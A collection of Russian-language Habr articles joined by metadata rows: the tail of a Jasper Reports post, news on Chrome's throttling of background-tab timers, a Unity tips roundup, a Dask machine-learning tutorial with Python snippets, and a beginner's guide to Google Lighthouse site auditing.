Jasper Reports прекрасно маппит модели в шаблоны любой сложности, но форматирование выходных Word или PDF иногда бывает скошенным, поэтому конвертируем шаблоны в красивые HTML. А затем, с помощью библиотеки JodConverter на базе LibreOffice сконвертировать полученные HTML в Word или PDF.
Резюме
------
Новизна используемых технологий и новые подходы к классическим задачам ожидаемо могут привести к временным издержкам, связанные с исследовательской работой, но именно передовые технологии закладывают потенциал сотрудников и стратегическое конкурентное преимущество компании.
С каждым новым проектом, новые технологии, всё более оправдывают себя в итоговой стоимости, производительности, функциональности, владении и масштабируемости. И этот процесс носит эволюционный характер.
Рассматривая полученную платформу СЭД, даже при условии постоянной адаптации к новым типам данных и бизнес-процессов – не требуется программисты, т.к. весь функционал управляется визуальными средствами. Что в итоге, соответствует современным тенденциям, когда понятия «технической поддержки и сопровождения» уходят в рудимент за ненадобностью.
Эффективность бизнеса прямо зависит от оперативности принятия решений на поведение рынка или можно сказать от скорости адаптации под меняющиеся статистические факторы.
*UPDATED:* На GitHub опубликован [демо-проект](https://github.com/SevenParadigms/webflux-dsl-abac-example), показывающий некоторые описанные здесь возможности. Вышло продолжение статьи: [Reactive Spring ABAC Security: безопасность уровня Enterprise](https://habr.com/ru/post/645923/) | https://habr.com/ru/post/572952/ | null | ru | null |
# Chrome 57 будет активно подавлять работу фоновых вкладок
Ближайшие изменения в браузере Chrome вряд ли порадуют разработчиков Slack, Discord и других программ, которые работают во вкладках браузера. В бета-версии Chrome 56 реализован новый механизм [оптимизации таймеров для фоновых вкладок](https://docs.google.com/document/d/1vCUeGfr2xzZ67SFt2yZjNeaIcXGp2Td6KHN7bI02ySo/edit).
На первый взгляд, инициатива разработчиков выглядит хорошим делом. В сентябрьском [плане внедрения](https://groups.google.com/a/chromium.org/forum/#!topic/blink-dev/-dmrNAFHd-4/discussion) (Intent to Implement) объясняются причины, которые сподвигли разработчиков на такое решение.
Главная причина — некоторые плохо спроектированные приложения (например, скрипты аналитики и javascript-реклама) потребляют много ресурсов CPU, хотя находятся в фоновом режиме. Это негативно отражается на производительности браузера и потребляет энергию аккумулятора на мобильных устройствах. Такая обработка активности в фоновых вкладках совершенно ни к чему. Идея состоит в том, чтобы установить максимальный лимит вычислительных ресурсов, которые можно дать фоновому приложению.
Реализация плана выглядит следующим образом:
* У каждого компонента WebView будет бюджет (в секундах) для работы таймеров в фоновом режиме.
* Таймер не может запуститься, если бюджет отрицательный.
* После выполнения таймера его время работы вычитается из бюджета.
* Бюджет автоматически пополняется со временем (на 0,01 с бюджета с каждой секундой реального времени).
Разработчики решили, что торможение фоновых вкладок никак не помешает пользователю. Вкладки с активным звуком в Chrome не считаются фоновыми, так что на них нововведение никак не скажется.
Наибольшее опасение вызывали фоновые страницы трёх типов:
* которые используют таймер для изменения фавикона, как это делает Gmail;
* которые используют таймеры для воспроизведения звука, например, для звука входящего сообщения в мессенджере (касается практически всех мессенджеров и групповых чатов);
* только что открытая страница, которая начала загружаться, а пользователь в это время открывает новую вкладку с расчётом, что эта страница загрузится до конца в фоновом режиме.
Предварительные тесты показали, что реализация торможения фоновых вкладок не поломала функциональность Gmail, хотя затормозила некоторые нотификации в тех мессенджерах и программах, которые активно используют ресурсы CPU. В целом, реализация работала хорошо и действительно снизила энергопотребление и увеличила быстродействие браузера в активных вкладках.
Проблему с загрузкой страниц решили так, что бюджет таймера вообще не распространяется на загрузку страниц, то есть они фактически не считаются фоновыми.
Казалось бы, разработчики всё продумали и всё отлично. Небольшое замедление с приходом нотификаций в мессенджере — не такая уж большая проблема.
Но в реальности оказалось, что нотификации в фоновых приложениях могут приходить [с опозданием на несколько минут](http://blog.strml.net/2017/01/chrome-56-now-aggressively-throttles.html). Это уже конкретно ломает функциональность таких приложений. Создателям придётся искать способы, как обойти этот встроенный «режим энергосбережения» Chrome. Очевидным кажется приём с постоянным проигрыванием звуком на нулевой громкости. Возможно, они придумают что-нибудь ещё.
Казалось бы, фоновым приложениям нужно всего лишь уменьшить потребление CPU, чтобы уложиться в вычислительный бюджет, который выделяет для них браузер. Но это не выход. В реальности многим приложениям *действительно* нужно выполнять большой объём работы в фоновом режиме. Например, популярные программы вроде [Slack](https://slack.com/) и [Discord](https://discordapp.com/) постоянно синхронизируют каналы, парсят новые сообщения от сотен пользователей в десятках каналов, чтобы определить, когда нужно побеспокоить пользователя нотификацией, а когда не нужно этого делать.
Slack и Discord — не единственные такие программ, есть очень много других веб-приложений, которые активно работают в фоновом режиме. Например, биржи для биткоин-трейдинга в реальном времени. Чтобы проверить новый режим Chrome разработчик одного из таких ресурсоёмких приложений запустил в фоновой вкладке Chrome 56 процесс `setInterval` с выполнением каждую секунду и фиксацией реального времени выполнения. Вот какое реальное время он зафиксировал в логе:
`1002
1003
1000
1012
1001
1965
1962
1089
2078
1832
1071
6917
34402
136717
76192
38682
6030`
Как видим, через пять секунд фоновая вкладка начала выбиваться из бюджета, который ей выделил браузер. А через 22 реальных секунды бюджет полностью закончился (задержка ивента на 136 секунд).
То есть теперь на таймеры в веб-разработке [вообще нельзя полагаться](https://github.com/socketio/engine.io/issues/312). Негативные последствия ожидают сайты, которые держат открытые соединения WebSocket.
Разработчики Chrome рекомендуют перенести соответствующие процессы в Service Workers. придётся потрудиться, конечно, переписывая код и решая проблемы совместимости. Но там всё должно работать нормально. Разумеется, до того момента, пока разработчики Chrome не примут решение затормозить и фоновые Service Workers тоже.
Разработчикам таких приложений, которые работают в фоновом режиме, рекомендуется использовать Page Visibility API, чтобы приложение не делало в фоновом режиме работу, которая всё равно будет невидима пользователем.
```
var doVisualUpdates = true;
document.addEventListener('visibilitychange', function(){
doVisualUpdates = !document.hidden;
});
```
Такой приём позволяет [снизить загрузку CPU на 75%](https://twitter.com/cryptowat_ch/status/817502626896089090)
Другие нововведения в Chrome 56
===============================
Официальный релиз стабильной версии Chrome 56 (движок Blink версии 537.36) запланирован на [январь 2017 года](https://security.googleblog.com/2016/09/moving-towards-more-secure-web.html) (ориентировочно [31 января](https://www.chromium.org/developers/calendar)).
В ближайшей официальной версии Chrome 56 разработчики [не планируют](https://news.ycombinator.com/item?id=13473644) включать подавление активности в фоновых вкладках. Этот эксперимент продолжится на бета-канале, а после сбора отзывов пользователей его планируют выкатить в Chrome 57 (14 марта 2017 года). Сейчас разработчики обсуждают, какие изменения внести в механизм подавления фоновых вкладок. На [странице обсуждения](https://bugs.chromium.org/p/chromium/issues/detail?id=650594) рассматриваются разные варианты исключение: метатеги, закреплённые вкладки, явное разрешение пользователя на показ уведомлений.
Нововведением в Chrome 56 станет то, что он будет по умолчанию считать небезопасными HTTP-страницы, содержащие поле для ввода пароля. Такие страницы будут помечаться заметным красным индикатором.
Со временем подобный индикатор получат все сайты, которые не перешли на HTTPS. | https://habr.com/ru/post/357674/ | null | ru | null |
# #unitytips: Подборка советов и приемов от сообщества Unity, которыми вы можете похвастаться перед друзьями
Мы вернулись к вам с очередным обзором #unitytips. Когда мы выпустили наш первый [обзор](https://blogs.unity3d.com/2021/01/06/become-a-better-unity-developer-with-these-tips-from-the-community/) в начале этого года, вы ответили нам, что он помог вывести ваши проекты на совершенно другой уровень, поэтому мы вернулись с еще большим количеством лучших практик.
### Визуальные эффекты
Независимо от того, художник вы, дизайнер, техарт или программист графики, вам непременно стоит ознакомиться с этой подборкой советов и приемов, чтобы улучшить графику и визуальные эффекты вашей игры.
* Посмотрите [этот разбор](https://twitter.com/AlexStrook/status/1352468875401699340) стилизованного эффекта воды.
* Заставьте объекты выделяться с помощью [этого эффекта подсветки Shader Graph](https://twitter.com/NedMakesGames/status/1354474663955619850).
* Добавьте лужи в полости в вашем окружении с помощью [этого Shader Graph](https://twitter.com/omeletteandyog1/status/1353394633989107712).
* Когда полости наполнены водой, используйте [этот прием,](https://twitter.com/omeletteandyog1/status/1356633800067977218) чтобы удалить воду внутри других поверхностей.
* Воспользуйтесь [этим простым, но эффективным приемом,](https://twitter.com/real_kurture/status/1348947838462525448) чтобы добавить кастомные тени к вашим статическим объектам.
* Узнайте, как привлечь внимание к конкретным объектам в игре с помощью [этого ретро хайлатера предметов](https://twitter.com/Nothke/status/1348766892555722752).
* Если вы когда-нибудь задумывались о добавлении облаков в свой проект, попробуйте [создать процедурные облака с помощью шума](https://twitter.com/FarrukhAbdur/status/1346346364805009409).
* Добавьте в окружающую среду некоторые естественные детали с помощью [этого трюка с туманом](https://twitter.com/omeletteandyog1/status/1354153235850940419).
* Знаете ли вы, что плагин Houdini теперь доступен бесплатно? Не упустите процедурные инструменты, [подобные этому,](https://twitter.com/FarrukhAbdur/status/1366287187675865088) чтобы покрыть зеленью ваш меш.
* Воспользуйтесь [этим инструментом,](https://twitter.com/totallyRonja/status/1368704187580682240) чтобы добавить поля градиента в свой Material Inspector.
* Узнайте больше о Shader Graph из [этого урока по программированию зелени](https://twitter.com/Cyanilux/status/1371795884695023618). В качестве бонуса он включает скрипт для запекания частиц в меш.
* Погрузитесь в URP и Shader Graph, изучая, [как рендерить эти метаболы](https://twitter.com/bzgeb/status/1371832619411865617).
* Отметим, что вы также можете визуализировать метаболы без дополнительных затрат, используя функцию Scriptable Renderer для [визуализации оптимизированных метаболов](https://twitter.com/bzgeb/status/1374404670077104130).
* Вы когда-нибудь задумывались, как сделать каустический эффект? [Этот туториал](https://twitter.com/jettelly/status/1373806466151354369) расскажет вам как.
* Узнайте, как сделать медузу полностью раскрашенной и анимированной с помощью шейдеров, как показано в [этом треде](https://twitter.com/HarryAlisavakis/status/1369236405352796167).
* Если вы работаете с графикой, посмотрите [это видео](https://twitter.com/NedMakesGames/status/1369694986686656513) о режимах виндинга и каллинга треугольников.
### Рабочий процесс в редакторе
Все эти советы касаются облегчения вашей жизни и улучшения рабочего процесса при работе в редакторе Unity.
* Во-первых, узнайте, как [создавать свои собственные инструменты ландшафта (Terrain tools)](https://twitter.com/JoseHojaverde/status/1346469250114887694).
* Обращение ко всем левел-дизайнерам: вы можете [скрывать объекты в окне сцены (Scene view)](https://twitter.com/CiroContns/status/1354781901635129353) и даже перейти в режим изоляции, который очень полезен при работе с определенными частями сцены.
* Еще кое-что для левел-дизайнеров: посмотрите, как окно сцены в Unity поддерживает [привязку к вершинам (vertex snapping)](https://twitter.com/AlanZucconi/status/1356629372422258688).
* [Вот отличный совет](https://twitter.com/TheMirzaBeig/status/1351582186961596418) по управлению несколькими системами частиц одновременно.
* Если вы никогда раньше не использовали атрибут `RequireComponent`, [этот совет](https://twitter.com/ThomasWinkley/status/1362474607601614848) может помочь вам начать с ним работу.
* Вы можете [напрямую импортировать файлы Blender,](https://twitter.com/mp_labs/status/1364315172848996353) не экспортируя их предварительно в FBX. Unity незаметно запустит Blender в фоновом режиме и импортирует эти файлы за вас, но вы должны убедиться, что у всех членов вашей команды установлена одна и та же версия Blender, прежде чем открывать проект.
* Еще о Blender: [вот первоклассное руководство](https://polynook.com/tutorial/how-to-export-models-from-blender-to-unity/) по экспорту в FBX через Blender с правильными осями. Официально это не #unitytips, но вполне могло бы им быть.
* Можно удобно создавать AnimationCurves в Инспекторе и использовать их в своих сценариях следующим [образом](https://twitter.com/AlanZucconi/status/1356629345255780352).
* [Вот быстрый](https://twitter.com/BinaryImpactG/status/1364168123893571584) способ откреплять окно предварительного просмотра.
* Если вы работаете с OpenXR, вы оцените [это улучшение для рабочего процесса](https://twitter.com/DanMillerDev/status/1359157859196366848).
* В Unity есть простой в использовании [инструмент для записи экрана,](https://twitter.com/corpsepile/status/1343965977478901762?s=20) позволяющий создавать гифки или игровые видеоролики. Он называется Unity Recorder и доступен в диспетчере пакетов (Package Manager.).
* Используйте [этот шорткат](https://twitter.com/danielsantalla/status/1357492727219372034?s=20) для автоматического создания материала вашим шейдером в Shader Graph.
### Геймплей
Вот несколько советов по созданию игрового процесса в Unity — от программирования и рабочего процесса до визуальных эффектов и не только.
* Познакомьтесь с основами создания контроллера персонажа с разнообразными движениями в [этом видео](https://twitter.com/NickyBoccuzzi/status/1350837199017811968). Затем посмотрите [видео,](https://twitter.com/NickyBoccuzzi/status/1374334860207226883) посвященное встроенному контроллеру персонажей.
* Еще о контроллерах персонажей — вы можете изучить, как [построить риг от первого лица](https://twitter.com/omeletteandyog1/status/1375147303078613000).
* [Здесь](https://twitter.com/_ericfreeman/status/1367654806047756288) вы можете открыть для себя недавно выпущенную бесплатную систему декалей (decal system) для встроенного рендерера.
* [Вот еще одна бесплатная библиотека](https://twitter.com/Der_Kevin/status/1366705914338754561) для Unity — на этот раз, все о разрушении.
* Прочтите это удобное [руководство](https://twitter.com/yecats131/status/1357530946577330181) по использованию UI Toolkit и UI Builder.
### Программирование
Наконец, у нас есть хорошие советы для программистов. Если вы пишете или хотя бы в какой-то степени работаете с кодом, вы не захотите пропустить это:
* [Этот крутой трюк](https://twitter.com/zellah/status/1343928164553256960?s=20) позволяет вам использовать кастомные шейдеры в пользовательском интерфейсе редактора.
* Вы даже можете использовать систему заданий (Jobs) в редакторе для выполнения сложных вычислений в фоновом режиме, как в [этом инструменте для работы с мехом](https://twitter.com/zellah/status/1348981416835641344).
* Если вы все еще используете старую систему ввода, но хотите переключиться на новую, [следуйте этому подходу](https://twitter.com/BinaryImpactG/status/1354016972242120704).
* Знаете ли вы, что дебаг логи можно раскрашивать? [Узнайте, как](https://twitter.com/BinaryImpactG/status/1359097461311033350).
* [Этот совет](https://twitter.com/AlanZucconi/status/1356629394287124482) показывает, как перемещаться между материалами с помощью одного вызова функции.
* Посмотрите [этот тред,](https://twitter.com/AlanZucconi/status/1358760735506116609) если вы хотите освоить линейную интерполяцию (а кто это бы не хотел?).
* Воспользуйтесь [этим трюком,](https://twitter.com/UnityCodeMonkey/status/1361693207348805634) чтобы тестировать свою игру при любой частоте кадров.
* Разработка инструментов редактора чрезвычайно важна. Подпишитесь на [этот тред в Twitter,](https://twitter.com/LotteMakesStuff/status/1358167999899910144) чтобы узнать, как это делается.
* [Вот](https://twitter.com/AlanZucconi/status/1356629384141094913) как можно делать вложенные корутины, которые запускают одну корутину, когда заканчивается другая.
* [Еще один совет по корутинам](https://twitter.com/AlanZucconi/status/1356629382849310724): вы можете автоматически превратить `Start`, `OnTriggerEnter` и `OnCollisionEnter` в корутины.
* Если вы когда-нибудь хотели сериализовать словарь, используйте [этот код](https://twitter.com/fludvigsen_pub/status/1366079822322089987).
* [В этом Twitter-треде](https://twitter.com/AlanZucconi/status/1368890270884958210) содержится полезный разбор порядка выполнения в Unity.
* А [вот](https://twitter.com/jbevain/status/1366911871740125185) существенное улучшение для пользователей Visual Studio: автозавершение кода для символов компиляции.
* [В этом удобном руководстве](https://twitter.com/IndieGameTrends/status/1369227719565803520) объясняется, как создавать собственные GUI скрипты, которые хорошо работают с системой событий (Event System).
* [Вот](https://twitter.com/aarthificial/status/1371219902162427913) опрятный паттерн Unity для определения необязательных параметров, который более эффективен, чем проверка на `null`, и даже поставляется с красивым `PropertyDrawer`.
* Вы когда-нибудь задумывались, какие ресурсы входят в ваши сборки Unity? [В этом совете](https://twitter.com/TheMirzaBeig/status/1349032779544203266?s=20) рассказывается, как проверять лог с целью контроля размера билда.
* [Этот изящный трюк](https://twitter.com/sh4na/status/1374446599435214850?s=20) может помочь вам получить доступ к внутренним API-интерфейсам `UnityEditor` без помощи рефлексии.
* Хотите подключить Debug.Log сообщения к игровой консоли? [Этот метод](https://twitter.com/BinaryImpactG/status/1369242057055875072?s=20) послужит для передачи сообщений Debug.Log куда угодно.
Если вы считаете эти советы полезными и не можете дождаться, чтобы опробовать их в своей игре, сообщите нам об этом в комментариях. Чтобы узнать больше, вы можете поискать по [хэштегу #UnityTips](https://twitter.com/search?q=%23unitytips&src=typed_query) в Twitter или даже принять участие, делясь своими советами и и лучшими практиками каждый вторник. Подпишитесь на [@Unity3d,](https://twitter.com/unity3d/) чтобы получать еженедельное напоминание о #UnityTips по вторникам.
---
> Можно ли научиться на двухдневном интенсиве сделать на Unity классический платформер-головоломку, такой как Braid, Trine или Limbo? Да, и это проще, чем кажется! За два дня мы создадим полноценный уровень игры, придумаем несколько реиспользуемых головоломок, познакомимся с системой ввода в Unity и сразимся с многочисленными врагами за получение награды.
>
> От слушателей ожидаются базовые навыки программирования (понимание, что такое переменная, метод, класс и т.д.), преподаватель старается делать скрипты максимально простыми.
>
> → [**РЕГИСТРАЦИЯ**](https://otus.pw/yauO/)
>
> Перевод материала подготовлен в преддверии старта занятий на курсе ["Unity Game Developer. Basic"](https://otus.pw/dnpu/)
>
> | https://habr.com/ru/post/564544/ | null | ru | null |
# Машинное обучение с Dask
***Перевод статьи подготовлен для будущих учащихся на** [**продвинутом курсе Machine Learning**](https://otus.pw/yAB5/).*
---
Обработка даже пары гигабайт данных на ноутбуке может стать сложной задачей, только если он не оснащен большим количеством оперативной памяти и не обладает хорошей вычислительной мощностью.
Несмотря на это, специалистам по анализу данных все еще приходится искать альтернативные решения для этой проблемы. Есть варианты настроить Pandas, чтобы обрабатывать огромные наборы данных, купить GPU или купить облачные вычислительные мощности. В этой статье мы рассмотрим, как использовать [Dask](https://dask.org/) для больших наборов данных на локальном компьютере.
Dask и Python
-------------
Dask – это гибкая библиотека для параллельных вычислений на Python. Она прекрасно взаимодействует с другими открытыми проектами, такими как NumPy, Pandas, и scikit-learn. В Dask есть структура [массивов](https://docs.dask.org/en/latest/array.html), которая эквивалентна массивам в NumPy, [датафреймы](https://docs.dask.org/en/latest/dataframe.html) в Dask аналогичны датафреймам в Pandas, а [Dask-ML](https://ml.dask.org/) – это аналог scikit-learn.
Эти сходства позволяют с легкостью внедрить Dask в свою работу. Преимущество использования Dask заключается в том, что вы можете масштабировать вычисления до нескольких ядер на вашем компьютере. Так вы получаете возможность работать с большими объемами данных, которые не помещаются в память. Также вы можете ускорить вычисления, которые обычно занимают много места.
[*Источник*](https://dask.org/)
Dask DataFrame
--------------
При загрузке большого объема данных, Dask обычно считывает сэмпл данных, чтобы распознать типы данных. Чаще всего это приводит к ошибкам, поскольку в одном столбце могут быть разные типы данных. Рекомендуется заранее объявлять типы, чтобы избежать ошибок. Dask может загружать огромные файлы, разрезая их на блоки, определенные параметром `blocksize`.
```
data_types ={'column1': str,'column2': float}
df = dd.read_csv(“data,csv”,dtype = data_types,blocksize=64000000 )
```
*[Источник](https://dask.org/)*
Команды в Dask DataFrame схожи с командами Pandas. Например, получение `head` и `tail` датафрейма аналогично:
```
df.head()
df.tail()
```
Функции в DataFrame выполняются лениво. То есть они не вычисляются до тех пор, пока не будет вызвана функция `compute`.
```
df.isnull().sum().compute()
```
Поскольку данные загружаются по частям, некоторые функции Pandas, такие как `sort_values()` не смогут выполниться. Зато можно использовать функцию `nlargest().`
Кластеры в Dask
---------------
Параллельные вычисления являются ключевыми в Dask, поскольку они позволяют считать на нескольких ядрах одновременно. Dask предоставляет `machine scheduler`, который работает на одной машине. Он не масштабируется. Также есть `distributed scheduler`, который позволяет масштабироваться на несколько машин.
Использование `dask.distributed` требует настройки клиента. Вы сделаете это первым делом, если соберетесь использовать `dask.distributed` в анализе. Он обеспечивает низкую задержку, локальность данных, обмен данными между воркерами, и его просто настраивать.
```
from dask.distributed import Client
client = Client()
```
Использовать `dask.distributed` выгодно даже на одной машине, поскольку он предлагает функции диагностики через панель мониторинга.
Если вы не настроите `Client`, то по умолчанию будете использовать machine scheduler для одной машины. Он обеспечит параллелизм на одном компьютере с помощью процессов и потоков.
Dask ML
-------
Dask также позволяет использовать параллельное обучение моделей и прогнозирование. Цель `dask-ml` – предложить масштабируемое машинное обучение. Когда вы объявляете `n_jobs = -1 в scikit-learn`, вы можете запустить вычисления параллельно. Dask использует эту возможность для того, чтобы вы могли делать вычисления в кластере. Сделать это можно с помощью пакета [joblib](https://joblib.readthedocs.io/en/latest/), который позволяет использовать параллелизм и конвейеризацию в Python. С помощью Dask ML вы можете использовать модели scikit-learn и другие библиотеки, например, XGboost.
Простая реализация будет выглядеть следующим образом.
Для начала импортируйте `train_test_split`, чтобы разделить ваши данные на обучающие и тестовые наборы.
```
from dask_ml.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)
```
Потом импортируйте модель, которую вы хотите использовать, и создайте ее экземпляр.
```
from sklearn.ensemble import RandomForestClassifier
model = RandomForestClassifier(verbose=1)
```
Затем нужно импортировать `joblib`, чтобы включить параллельные вычисления.
```
import joblib
```
Затем запустите обучение и прогнозирование с помощью parallel backend.
```
from sklearn.externals.joblib import parallel_backend
with parallel_backend(‘dask’):
model.fit(X_train,y_train)
predictions = model.predict(X_test)
```
Ограничения и использование памяти
----------------------------------
Отдельные задачи в Dask не могут выполняться параллельно. Воркеры – это процессы Python, которые наследуют преимущества и недостатки вычислений Python. Кроме того, при работе в распределенной среде следует соблюдать осторожность, чтобы обеспечить безопасность и конфиденциальность данных.
В Dask есть central scheduler, который отслеживает данные на узлах воркеров и в кластере. Также он управляет освобождением данных из кластера. Когда задача выполнится, он сразу удалит ее из памяти, чтобы освободить место для других задач. Но если что-то нужно определенному клиенту, или важно для текущих вычислений, оно будет храниться в памяти.
Другое ограничение Dask связано с тем, что он не реализует всех функций Pandas. Интерфейс Pandas очень большой, поэтому Dask не охватывает его полностью. То есть выполнение некоторых из этих операций в Dask может стать сложной задачей. Помимо этого, медленные операции из Pandas будут работать также медленно и в Dask.
В каких случаях вам не понадобится Dask DataFrame
-------------------------------------------------
В следующих ситуациях Dask может стать неподходящим вариантом для вас:
* Когда в Pandas есть функции, которые вам нужны, а в Dask они реализованы не были.
* Когда ваши данные идеально вписываются в память вашего компьютера.
* Когда ваши данные не представлены в табличной форме. В таком случае попробуйте [dask.bag](https://docs.dask.org/en/latest/bag.html) или [disk.array](https://docs.dask.org/en/latest/array.html).
Заключительные мысли
--------------------
В этой статье мы познакомились с тем, как можно использовать Dask для распределенной работы с огромными наборами данных на локальном компьютере. Мы увидели, что можем использовать Dask, поскольку его синтаксис уже нам знаком. Также Dask может масштабироваться до тысяч ядер.
Также мы увидели, что можем использовать его в машинном обучении для прогнозирования и обучения. Если хотите узнать больше, ознакомьтесь с этими материалами в [документации](https://docs.dask.org/en/latest/presentations.html).
[](https://otus.pw/yAB5/)
#### Читать ещё:
* [Два мегатренда в области искусственного интеллекта, доминирующие в Gartner Hype Cycle 2020](https://habr.com/ru/company/otus/blog/525256/) | https://habr.com/ru/post/527720/ | null | ru | null |
# Lighthouse. Руководство по оптимизации сайтов для начинающих
Быстрые сайты любят и пользователи, и поисковики.
С первыми всё просто: если страница долго грузится, пользователь её закроет и перейдёт на другой сайт. С поисковиками похожая история: скорость загрузки влияет на ранжирование сайта в поисковой выдаче.
Проверить производительность сайта можно с помощью разных инструментов. Один из наиболее известных — [Lighthouse](https://developers.google.com/web/tools/lighthouse) от компании Google. Он не только тестирует сайт и показывает оценку производительности, но и даёт конкретные рекомендации: что можно улучшить, чтобы сделать сайт быстрее.
Давайте разберём, как с помощью Lighthouse проверить качество сайта и повысить его производительность. Мы не будем углубляться в алгоритмы работы инструмента и принципы подсчёта внутренних метрик: начинающим веб-разработчикам это и не нужно. Однако знать, как работает инструмент, и уметь использовать его в своих проектах — очень важный навык.
### Как запустить Lighthouse
Запустить инструмент можно тремя способами:
**С помощью Node CLI.** Для этого [установите](https://www.npmjs.com/package/lighthouse) в свой проект пакет Lighthouse с помощью команды `npm install -g lighthouse`.
**Через расширение для браузера**[**Chrome**](https://chrome.google.com/webstore/detail/lighthouse/blipmdconlkpinefehnmjammfjpmpbjk/related)**или**[**Firefox**](https://addons.mozilla.org/ru/firefox/addon/google-lighthouse/). Установите расширение, затем откройте свой сайт и запустите проверку с помощью кнопки Generate report.
Пример запуска Lighthouse из браузера Firefox**С помощью инструментов разработчика — Chrome DevTools.** Чтобы запустить проверку, откройте [инструменты разработчика](https://htmlacademy.ru/blog/boost/tools/chrome-devtools-1?utm_source=habr&utm_medium=special&utm_campaign=lighthouse231121), переключитесь на вкладку Lighthouse и нажмите на кнопку Generate report.
Мы разберем основы работы с Lighthouse на примере Chrome DevTools. Этого вполне достаточно, чтобы понять возможности инструмента. Для продвинутого использования можно установить npm-пакет и работать с Lighthouse через консоль. Этот способ позволяет более гибко настраивать инструмент и запускать его в автоматическом режиме.
[Обзор Chrome DevTools. Решаем основные задачи веб-разработчика](https://htmlacademy.ru/blog/boost/frontend/how-to-devtools?utm_source=habr&utm_medium=special&utm_campaign=lighthouse231121)
### Какие параметры оценивает Lighthouse
Lighthouse анализирует четыре показателя: производительность, доступность, SEO и лучшие практики. Для прогрессивных веб-приложений добавляется пятый параметр — PWA.
**Performance** — производительность. Анализирует скорость загрузки сайта. На эту оценку влияет время блокировки, отрисовки стилей, загрузки интерактивных элементов, шрифтов и контента.
**Progressive Web App** — Прогрессивные web-приложения. Проверяет, регистрирует ли сайт Service Workers, работает ли офлайн, возвращает ошибку 200.
**Best Practices** — лучшие практики. Проверяет безопасность сайта и использование современных стандартов веб-разработки. Оценка зависит от того, используется ли на сайте HTTPS, устаревшие API, правильная кодировка и другие параметры.
**Accessibility** — доступность. Проверяет, могут ли все пользователи получать доступ к контенту и эффективно перемещаться по сайту. Эта оценка зависит от понятности и воспринимаемости контента, возможности управлять интерфейсом и передвигаться по содержимому без помощи мыши.
**SEO** — оценивает соответствие страницы советам Google по поисковой оптимизации. Здесь проверяется использование метатегов, доступ к индексации и переобходу роботами, наличие атрибутов `alt` у изображений, адаптированность к мобильным экранам и другие характеристики.
Каждый параметр оценивается по 100-балльной шкале: чем выше, тем лучше. У каждой группы оценок также есть свой цвет. Зелёный выставляется при 90-100 баллах, он показывает, что с сайтом всё хорошо. Оранжевый можно получить при 50-89 баллах. То есть с сайтом всё хорошо, но можно сделать ещё лучше. Если оценка ниже 49 баллов, она становится красной. Это означает, что над производительностью стоит поработать.
Большой плюс Lighthouse в том, что проверять качество сайта можно как на десктопной, так и на мобильной версии.
Оценки при этом будут отличаться. Порой они различаются и при запуске нескольких тестов для одной версии сайта. В этом случае колебания возможны при:
* запуске A/B-тестов;
* использовании на сайте анимаций, которые отображаются рандомным образом;
* нестабильной сети;
* использовании расширений для браузера;
* запуске антивирусных программ;
* использовании устройств с разной производительностью.
Чтобы оценка была максимально приближена к реальной, [рекомендуется](https://github.com/GoogleChrome/lighthouse/blob/master/docs/variability.md) запускать проверку в режиме инкогнито. Тестируйте сайт при стабильном интернет-соединении и отключите программы, которые могут повлиять на результаты.
Результаты проверки десктопной версии сайта### Как улучшить производительность сайта с помощью Lighthouse
Lighthouse не только показывает оценку по каждому из четырёх критериев, но и даёт конкретные рекомендации: что можно улучшить.
Например, оценка производительности складывается из шести метрик:
* [First Contentful Paint](https://web.dev/first-contentful-paint/)— измеряет время, которое понадобится браузеру для отображения первой части содержимого DOM.
* [Speed Index](https://web.dev/speed-index/) — проверяет скорость визуального отображения контента во время загрузки страницы.
* [Largest Contentful Paint](https://web.dev/lighthouse-largest-contentful-paint/) — измеряет время загрузки самого большого элемента в области просмотра.
* [Time to Interactive](https://web.dev/interactive/) — проверяет, за какое время страница станет полностью интерактивной.
* [Total Blocking Time](https://web.dev/lighthouse-total-blocking-time/) — смотрит, в течение какого времени происходит блокировка страницы в ответ на действия пользователя: клики мышью или нажатия клавиш.
* [Cumulative Layout Shift](https://web.dev/cls/) — проверяет визуальную стабильность: смещение макета из-за асинхронной загрузки ресурсов.
Показатели метрик — на этом сайте всё хорошоНиже под метриками Lighthouse описывает возможности и предложения, которые помогут улучшить показатели.
Давайте разберём, как можно повысить оценки Lighthouse на конкретном примере. Для этого возьмём стандартный сайт, размещённый на бесплатном хостинге, и проверим его производительность. Тестировать будем мобильную версию, так как Google преимущественно [использует мобильную версию контента](https://developers.google.com/search/mobile-sites/mobile-first-indexing?hl=en) для индексации и ранжирования.
Как видно на скриншоте, у сайта средние показатели производительности: 69 баллов из 100. Это неплохо, но давайте их улучшим. Для этого используем рекомендации, которые даёт Lighthouse. Каждую из них можно раскрыть и посмотреть подробнее, что предлагается изменить:
Если такого описания недостаточно и вы всё равно не понимаете, что нужно делать — нажимайте на ссылку Learn more. В открывшемся окне появится более подробная информация и руководство для разработчиков. Вся информация на английском языке, но даже если вы его не знаете, Google Переводчик поможет вам разобраться.
В нашем случае Lighthouse предлагает использовать современные форматы изображений: WebP и AVIF, так как они весят меньше, чем PNG и JPEG. Мы также можем уменьшить размер изображения с 567 Кб до 500 Кб. На первый взгляд может показаться, что это мелочи. Но если мы оптимизируем изображения на сайте, то браузерам понадобится меньше времени на их загрузку.
Также важно помнить про блокирующие рендеринг ресурсы, такие как стили и скрипты. Lighthouse предупреждает нас о том, что мы можем уменьшить их влияние на скорость, если минифицируем код или встроим критические ресурсы инлайн.
Если соблюдать хотя бы эти рекомендации, мы повысим оценку Lighthouse. Пусть не до 100 баллов, но это уже будет значительный вклад в производительность сайта.
Среди разработчиков нет единого мнения о том, когда лучше проверять производительность сайта. Кто-то этим занимается в процессе разработки, кто-то — в самом конце. Неважно, какой способ выберете вы. Главное не забывайте тестировать свой продукт и работать над его качеством.
**Базовые рекомендации для повышения производительности:**
* Подключайте к документу минифицированные стили и скрипты.
* Подумайте, что можно сделать с неиспользуемым кодом. Возможно, его стоит переписать или удалить.
* Оптимизируйте изображения. Используйте для этого специальные программы или пакеты npm.
* Используйте современные форматы графики, собирайте SVG в спрайты.
* По возможности уменьшайте количество подключенных ресурсов;
* Подсказывайте браузеру, какие ресурсы самые важные: включайте предзагрузку или наоборот — ленивую загрузку.
### Можно ли получить 100 баллов в Lighthouse?
Максимальная оценка вполне достижима. В сети есть проект Зака Лезермана — [рейтинг сайтов](https://www.11ty.dev/speedlify) с максимальными баллами Lighthouse. На момент подготовки этой статьи в нем было 133 ресурса, набравших сто баллов по каждому из четырёх критериев.
